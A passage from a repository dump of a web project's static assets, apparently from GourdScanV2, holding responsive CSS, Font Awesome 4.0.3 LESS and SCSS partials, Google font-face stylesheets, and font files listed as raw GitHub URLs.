119 | @media (max-width: 420px) {
120 | .hide-phone {
121 | display: none !important;
122 | }
123 | }
124 | /* Container-alt */
125 | @media (min-width: 768px) {
126 | .container-alt {
127 | width: 750px;
128 | }
129 | .nav-tabs.nav-justified > li > a {
130 | border-bottom: 2px solid #eeeeee;
131 | }
132 | }
133 | @media (min-width: 992px) {
134 | .container-alt {
135 | width: 970px;
136 | }
137 | }
138 | @media (min-width: 1200px) {
139 | .container-alt {
140 | width: 1170px;
141 | }
142 | }
143 | @media (max-width: 419px) {
144 | .topbar-left {
145 | width: 70px !important;
146 | }
147 | .content-page {
148 | margin-left: 70px;
149 | }
150 | .forced .side-menu.left {
151 | box-shadow: 0 12px 12px rgba(0, 0, 0, 0.1);
152 | position: absolute;
153 | }
154 | .enlarged .side-menu.left {
155 | box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1) !important;
156 | }
157 | .profile-info-name img {
158 | float: none;
159 | margin: 0px auto;
160 | margin-bottom: 20px;
161 | }
162 | div.hopscotch-bubble .hopscotch-bubble-container {
163 | max-width: 180px;
164 | }
165 | }
166 |
--------------------------------------------------------------------------------
/web/static/font-awesome/fonts/FontAwesome.otf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/font-awesome/fonts/FontAwesome.otf
--------------------------------------------------------------------------------
/web/static/font-awesome/fonts/fontawesome-webfont.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/font-awesome/fonts/fontawesome-webfont.eot
--------------------------------------------------------------------------------
/web/static/font-awesome/fonts/fontawesome-webfont.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/font-awesome/fonts/fontawesome-webfont.ttf
--------------------------------------------------------------------------------
/web/static/font-awesome/fonts/fontawesome-webfont.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/font-awesome/fonts/fontawesome-webfont.woff
--------------------------------------------------------------------------------
/web/static/font-awesome/less/bordered-pulled.less:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em @fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .pull-right { float: right; }
11 | .pull-left { float: left; }
12 |
13 | .@{fa-css-prefix} {
14 | &.pull-left { margin-right: .3em; }
15 | &.pull-right { margin-left: .3em; }
16 | }
17 |
--------------------------------------------------------------------------------
/web/static/font-awesome/less/core.less:
--------------------------------------------------------------------------------
1 | // Base Class Definition
2 | // -------------------------
3 |
4 | .@{fa-css-prefix} {
5 | display: inline-block;
6 | font-family: FontAwesome;
7 | font-style: normal;
8 | font-weight: normal;
9 | line-height: 1;
10 | -webkit-font-smoothing: antialiased;
11 | -moz-osx-font-smoothing: grayscale;
12 | }
13 |
--------------------------------------------------------------------------------
/web/static/font-awesome/less/fixed-width.less:
--------------------------------------------------------------------------------
1 | // Fixed Width Icons
2 | // -------------------------
3 | .@{fa-css-prefix}-fw {
4 | width: (18em / 14);
5 | text-align: center;
6 | }
7 |
--------------------------------------------------------------------------------
/web/static/font-awesome/less/font-awesome.less:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome 4.0.3 by @davegandy - http://fontawesome.io - @fontawesome
3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
4 | */
5 |
6 | @import "variables";
7 | @import "mixins";
8 | @import "path";
9 | @import "core";
10 | @import "larger";
11 | @import "fixed-width";
12 | @import "list";
13 | @import "bordered-pulled";
14 | @import "spinning";
15 | @import "rotated-flipped";
16 | @import "stacked";
17 | @import "icons";
18 |
--------------------------------------------------------------------------------
/web/static/font-awesome/less/larger.less:
--------------------------------------------------------------------------------
1 | // Icon Sizes
2 | // -------------------------
3 |
4 | /* makes the font 33% larger relative to the icon container */
5 | .@{fa-css-prefix}-lg {
6 | font-size: (4em / 3);
7 | line-height: (3em / 4);
8 | vertical-align: -15%;
9 | }
10 | .@{fa-css-prefix}-2x { font-size: 2em; }
11 | .@{fa-css-prefix}-3x { font-size: 3em; }
12 | .@{fa-css-prefix}-4x { font-size: 4em; }
13 | .@{fa-css-prefix}-5x { font-size: 5em; }
14 |
--------------------------------------------------------------------------------
/web/static/font-awesome/less/list.less:
--------------------------------------------------------------------------------
1 | // List Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-ul {
5 | padding-left: 0;
6 | margin-left: @fa-li-width;
7 | list-style-type: none;
8 | > li { position: relative; }
9 | }
10 | .@{fa-css-prefix}-li {
11 | position: absolute;
12 | left: -@fa-li-width;
13 | width: @fa-li-width;
14 | top: (2em / 14);
15 | text-align: center;
16 | &.@{fa-css-prefix}-lg {
17 | left: -@fa-li-width + (4em / 14);
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/web/static/font-awesome/less/mixins.less:
--------------------------------------------------------------------------------
1 | // Mixins
2 | // --------------------------
3 |
4 | .fa-icon-rotate(@degrees, @rotation) {
5 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation);
6 | -webkit-transform: rotate(@degrees);
7 | -moz-transform: rotate(@degrees);
8 | -ms-transform: rotate(@degrees);
9 | -o-transform: rotate(@degrees);
10 | transform: rotate(@degrees);
11 | }
12 |
13 | .fa-icon-flip(@horiz, @vert, @rotation) {
14 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation, mirror=1);
15 | -webkit-transform: scale(@horiz, @vert);
16 | -moz-transform: scale(@horiz, @vert);
17 | -ms-transform: scale(@horiz, @vert);
18 | -o-transform: scale(@horiz, @vert);
19 | transform: scale(@horiz, @vert);
20 | }
21 |
--------------------------------------------------------------------------------
/web/static/font-awesome/less/path.less:
--------------------------------------------------------------------------------
1 | /* FONT PATH
2 | * -------------------------- */
3 |
4 | @font-face {
5 | font-family: 'FontAwesome';
6 | src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}');
7 | src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'),
8 | url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'),
9 | url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'),
10 | url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg');
11 | // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts
12 | font-weight: normal;
13 | font-style: normal;
14 | }
15 |
--------------------------------------------------------------------------------
/web/static/font-awesome/less/rotated-flipped.less:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); }
5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); }
6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); }
7 |
8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); }
9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); }
10 |
--------------------------------------------------------------------------------
/web/static/font-awesome/less/spinning.less:
--------------------------------------------------------------------------------
1 | // Spinning Icons
2 | // --------------------------
3 |
4 | .@{fa-css-prefix}-spin {
5 | -webkit-animation: spin 2s infinite linear;
6 | -moz-animation: spin 2s infinite linear;
7 | -o-animation: spin 2s infinite linear;
8 | animation: spin 2s infinite linear;
9 | }
10 |
11 | @-moz-keyframes spin {
12 | 0% { -moz-transform: rotate(0deg); }
13 | 100% { -moz-transform: rotate(359deg); }
14 | }
15 | @-webkit-keyframes spin {
16 | 0% { -webkit-transform: rotate(0deg); }
17 | 100% { -webkit-transform: rotate(359deg); }
18 | }
19 | @-o-keyframes spin {
20 | 0% { -o-transform: rotate(0deg); }
21 | 100% { -o-transform: rotate(359deg); }
22 | }
23 | @-ms-keyframes spin {
24 | 0% { -ms-transform: rotate(0deg); }
25 | 100% { -ms-transform: rotate(359deg); }
26 | }
27 | @keyframes spin {
28 | 0% { transform: rotate(0deg); }
29 | 100% { transform: rotate(359deg); }
30 | }
31 |
--------------------------------------------------------------------------------
/web/static/font-awesome/less/stacked.less:
--------------------------------------------------------------------------------
1 | // Stacked Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-stack {
5 | position: relative;
6 | display: inline-block;
7 | width: 2em;
8 | height: 2em;
9 | line-height: 2em;
10 | vertical-align: middle;
11 | }
12 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x {
13 | position: absolute;
14 | left: 0;
15 | width: 100%;
16 | text-align: center;
17 | }
18 | .@{fa-css-prefix}-stack-1x { line-height: inherit; }
19 | .@{fa-css-prefix}-stack-2x { font-size: 2em; }
20 | .@{fa-css-prefix}-inverse { color: @fa-inverse; }
21 |
--------------------------------------------------------------------------------
/web/static/font-awesome/scss/_bordered-pulled.scss:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em $fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .pull-right { float: right; }
11 | .pull-left { float: left; }
12 |
13 | .#{$fa-css-prefix} {
14 | &.pull-left { margin-right: .3em; }
15 | &.pull-right { margin-left: .3em; }
16 | }
17 |
--------------------------------------------------------------------------------
/web/static/font-awesome/scss/_core.scss:
--------------------------------------------------------------------------------
1 | // Base Class Definition
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix} {
5 | display: inline-block;
6 | font-family: FontAwesome;
7 | font-style: normal;
8 | font-weight: normal;
9 | line-height: 1;
10 | -webkit-font-smoothing: antialiased;
11 | -moz-osx-font-smoothing: grayscale;
12 | }
13 |
--------------------------------------------------------------------------------
/web/static/font-awesome/scss/_fixed-width.scss:
--------------------------------------------------------------------------------
1 | // Fixed Width Icons
2 | // -------------------------
3 | .#{$fa-css-prefix}-fw {
4 | width: (18em / 14);
5 | text-align: center;
6 | }
7 |
--------------------------------------------------------------------------------
/web/static/font-awesome/scss/_larger.scss:
--------------------------------------------------------------------------------
1 | // Icon Sizes
2 | // -------------------------
3 |
4 | /* makes the font 33% larger relative to the icon container */
5 | .#{$fa-css-prefix}-lg {
6 | font-size: (4em / 3);
7 | line-height: (3em / 4);
8 | vertical-align: -15%;
9 | }
10 | .#{$fa-css-prefix}-2x { font-size: 2em; }
11 | .#{$fa-css-prefix}-3x { font-size: 3em; }
12 | .#{$fa-css-prefix}-4x { font-size: 4em; }
13 | .#{$fa-css-prefix}-5x { font-size: 5em; }
14 |
--------------------------------------------------------------------------------
/web/static/font-awesome/scss/_list.scss:
--------------------------------------------------------------------------------
1 | // List Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-ul {
5 | padding-left: 0;
6 | margin-left: $fa-li-width;
7 | list-style-type: none;
8 | > li { position: relative; }
9 | }
10 | .#{$fa-css-prefix}-li {
11 | position: absolute;
12 | left: -$fa-li-width;
13 | width: $fa-li-width;
14 | top: (2em / 14);
15 | text-align: center;
16 | &.#{$fa-css-prefix}-lg {
17 | left: -$fa-li-width + (4em / 14);
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/web/static/font-awesome/scss/_mixins.scss:
--------------------------------------------------------------------------------
1 | // Mixins
2 | // --------------------------
3 |
4 | @mixin fa-icon-rotate($degrees, $rotation) {
5 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=$rotation);
6 | -webkit-transform: rotate($degrees);
7 | -moz-transform: rotate($degrees);
8 | -ms-transform: rotate($degrees);
9 | -o-transform: rotate($degrees);
10 | transform: rotate($degrees);
11 | }
12 |
13 | @mixin fa-icon-flip($horiz, $vert, $rotation) {
14 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=$rotation);
15 | -webkit-transform: scale($horiz, $vert);
16 | -moz-transform: scale($horiz, $vert);
17 | -ms-transform: scale($horiz, $vert);
18 | -o-transform: scale($horiz, $vert);
19 | transform: scale($horiz, $vert);
20 | }
21 |
--------------------------------------------------------------------------------
/web/static/font-awesome/scss/_path.scss:
--------------------------------------------------------------------------------
1 | /* FONT PATH
2 | * -------------------------- */
3 |
4 | @font-face {
5 | font-family: 'FontAwesome';
6 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}');
7 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'),
8 | url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'),
9 | url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'),
10 | url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg');
11 | //src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts
12 | font-weight: normal;
13 | font-style: normal;
14 | }
15 |
--------------------------------------------------------------------------------
/web/static/font-awesome/scss/_rotated-flipped.scss:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); }
5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); }
6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); }
7 |
8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); }
9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); }
10 |
--------------------------------------------------------------------------------
/web/static/font-awesome/scss/_spinning.scss:
--------------------------------------------------------------------------------
1 | // Spinning Icons
2 | // --------------------------
3 |
4 | .#{$fa-css-prefix}-spin {
5 | -webkit-animation: spin 2s infinite linear;
6 | -moz-animation: spin 2s infinite linear;
7 | -o-animation: spin 2s infinite linear;
8 | animation: spin 2s infinite linear;
9 | }
10 |
11 | @-moz-keyframes spin {
12 | 0% { -moz-transform: rotate(0deg); }
13 | 100% { -moz-transform: rotate(359deg); }
14 | }
15 | @-webkit-keyframes spin {
16 | 0% { -webkit-transform: rotate(0deg); }
17 | 100% { -webkit-transform: rotate(359deg); }
18 | }
19 | @-o-keyframes spin {
20 | 0% { -o-transform: rotate(0deg); }
21 | 100% { -o-transform: rotate(359deg); }
22 | }
23 | @-ms-keyframes spin {
24 | 0% { -ms-transform: rotate(0deg); }
25 | 100% { -ms-transform: rotate(359deg); }
26 | }
27 | @keyframes spin {
28 | 0% { transform: rotate(0deg); }
29 | 100% { transform: rotate(359deg); }
30 | }
31 |
--------------------------------------------------------------------------------
/web/static/font-awesome/scss/_stacked.scss:
--------------------------------------------------------------------------------
1 | // Stacked Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-stack {
5 | position: relative;
6 | display: inline-block;
7 | width: 2em;
8 | height: 2em;
9 | line-height: 2em;
10 | vertical-align: middle;
11 | }
12 | .#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x {
13 | position: absolute;
14 | left: 0;
15 | width: 100%;
16 | text-align: center;
17 | }
18 | .#{$fa-css-prefix}-stack-1x { line-height: inherit; }
19 | .#{$fa-css-prefix}-stack-2x { font-size: 2em; }
20 | .#{$fa-css-prefix}-inverse { color: $fa-inverse; }
21 |
--------------------------------------------------------------------------------
/web/static/font-awesome/scss/font-awesome.scss:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome 4.0.3 by @davegandy - http://fontawesome.io - @fontawesome
3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
4 | */
5 |
6 | @import "variables";
7 | @import "mixins";
8 | @import "path";
9 | @import "core";
10 | @import "larger";
11 | @import "fixed-width";
12 | @import "list";
13 | @import "bordered-pulled";
14 | @import "spinning";
15 | @import "rotated-flipped";
16 | @import "stacked";
17 | @import "icons";
18 |
--------------------------------------------------------------------------------
/web/static/fonts/Material-Design-Iconic-Font.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/Material-Design-Iconic-Font.ttf
--------------------------------------------------------------------------------
/web/static/fonts/Material-Design-Iconic-Font.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/Material-Design-Iconic-Font.woff
--------------------------------------------------------------------------------
/web/static/fonts/Material-Design-Iconic-Font.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/Material-Design-Iconic-Font.woff2
--------------------------------------------------------------------------------
/web/static/fonts/dropify.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/dropify.ttf
--------------------------------------------------------------------------------
/web/static/fonts/dropify.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/dropify.woff
--------------------------------------------------------------------------------
/web/static/fonts/fontawesome-webfont.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/fontawesome-webfont.ttf
--------------------------------------------------------------------------------
/web/static/fonts/fontawesome-webfont.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/fontawesome-webfont.woff
--------------------------------------------------------------------------------
/web/static/fonts/fontawesome-webfont.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/fontawesome-webfont.woff2
--------------------------------------------------------------------------------
/web/static/fonts/themify.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/themify.ttf
--------------------------------------------------------------------------------
/web/static/fonts/themify.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/themify.woff
--------------------------------------------------------------------------------
/web/static/google/-L14Jk06m6pUHB-5mXQQnYX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/-L14Jk06m6pUHB-5mXQQnYX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/0eC6fl06luXEYWpBSJvXCIX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/0eC6fl06luXEYWpBSJvXCIX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/77FXFjRbGzN4aCrSFhlh3oX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/77FXFjRbGzN4aCrSFhlh3oX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/97uahxiqZRoncBaCEI3aW4X0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/97uahxiqZRoncBaCEI3aW4X0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/Fl4y0QdOxyyTHEGMXX8kcYX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/Fl4y0QdOxyyTHEGMXX8kcYX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/Hgo13k-tfSpn0qi1SFdUfZBw1xU1rKptJj_0jans920.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/Hgo13k-tfSpn0qi1SFdUfZBw1xU1rKptJj_0jans920.woff2
--------------------------------------------------------------------------------
/web/static/google/I3S1wsgSg9YCurV6PUkTOYX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/I3S1wsgSg9YCurV6PUkTOYX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/JaMH4jmmzP070-OYo03anaCWcynf_cDxXwCLxiixG1c.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/JaMH4jmmzP070-OYo03anaCWcynf_cDxXwCLxiixG1c.woff2
--------------------------------------------------------------------------------
/web/static/google/Karla.css:
--------------------------------------------------------------------------------
1 | /* latin-ext */
2 | @font-face {
3 | font-family: 'Karla';
4 | font-style: normal;
5 | font-weight: 400;
6 | src: local('Karla'), local('Karla-Regular'), url(./S1bXQ0LrY7AzefpgNae9sYDGDUGfDkXyfkzVDelzfFk.woff2) format('woff2');
7 | unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
8 | }
9 | /* latin */
10 | @font-face {
11 | font-family: 'Karla';
12 | font-style: normal;
13 | font-weight: 400;
14 | src: local('Karla'), local('Karla-Regular'), url(./JaMH4jmmzP070-OYo03anaCWcynf_cDxXwCLxiixG1c.woff2) format('woff2');
15 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
16 | }
17 | /* latin-ext */
18 | @font-face {
19 | font-family: 'Karla';
20 | font-style: normal;
21 | font-weight: 700;
22 | src: local('Karla Bold'), local('Karla-Bold'), url(./r3NqIkFHFaF3esZDc3WT5BkAz4rYn47Zy2rvigWQf6w.woff2) format('woff2');
23 | unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
24 | }
25 | /* latin */
26 | @font-face {
27 | font-family: 'Karla';
28 | font-style: normal;
29 | font-weight: 700;
30 | src: local('Karla Bold'), local('Karla-Bold'), url(./suoMYBGv5sGCUIrF9mVTfXYhjbSpvc47ee6xR_80Hnw.woff2) format('woff2');
31 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
32 | }
33 |
--------------------------------------------------------------------------------
/web/static/google/Ks_cVxiCiwUWVsFWFA3Bjn-_kf6ByYO6CLYdB4HQE-Y.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/Ks_cVxiCiwUWVsFWFA3Bjn-_kf6ByYO6CLYdB4HQE-Y.woff2
--------------------------------------------------------------------------------
/web/static/google/NJ4vxlgWwWbEsv18dAhqnn-_kf6ByYO6CLYdB4HQE-Y.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/NJ4vxlgWwWbEsv18dAhqnn-_kf6ByYO6CLYdB4HQE-Y.woff2
--------------------------------------------------------------------------------
/web/static/google/NYDWBdD4gIq26G5XYbHsFIX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/NYDWBdD4gIq26G5XYbHsFIX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/Pru33qjShpZSmG3z6VYwnYX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/Pru33qjShpZSmG3z6VYwnYX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/PwZc-YbIL414wB9rB1IAPYX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/PwZc-YbIL414wB9rB1IAPYX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/Rancho.css:
--------------------------------------------------------------------------------
1 | /* latin */
2 | @font-face {
3 | font-family: 'Rancho';
4 | font-style: normal;
5 | font-weight: 400;
6 | src: local('Rancho'), url(./yJONObwbYmkcfKME0p1HqevvDin1pK8aKteLpeZ5c0A.woff2) format('woff2');
7 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
8 | }
9 |
--------------------------------------------------------------------------------
/web/static/google/RxZJdnzeo3R5zSexge8UUZBw1xU1rKptJj_0jans920.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/RxZJdnzeo3R5zSexge8UUZBw1xU1rKptJj_0jans920.woff2
--------------------------------------------------------------------------------
/web/static/google/S1bXQ0LrY7AzefpgNae9sYDGDUGfDkXyfkzVDelzfFk.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/S1bXQ0LrY7AzefpgNae9sYDGDUGfDkXyfkzVDelzfFk.woff2
--------------------------------------------------------------------------------
/web/static/google/UX6i4JxQDm3fVTc1CPuwqoX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/UX6i4JxQDm3fVTc1CPuwqoX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/ZLqKeelYbATG60EpZBSDy4X0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/ZLqKeelYbATG60EpZBSDy4X0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/_VYFx-s824kXq_Ul2BHqYH-_kf6ByYO6CLYdB4HQE-Y.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/_VYFx-s824kXq_Ul2BHqYH-_kf6ByYO6CLYdB4HQE-Y.woff2
--------------------------------------------------------------------------------
/web/static/google/d-6IYplOFocCacKzxwXSOJBw1xU1rKptJj_0jans920.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/d-6IYplOFocCacKzxwXSOJBw1xU1rKptJj_0jans920.woff2
--------------------------------------------------------------------------------
/web/static/google/isZ-wbCXNKAbnjo6_TwHToX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/isZ-wbCXNKAbnjo6_TwHToX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/jSN2CGVDbcVyCnfJfjSdfIX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/jSN2CGVDbcVyCnfJfjSdfIX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/mbmhprMH69Zi6eEPBYVFhYX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/mbmhprMH69Zi6eEPBYVFhYX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
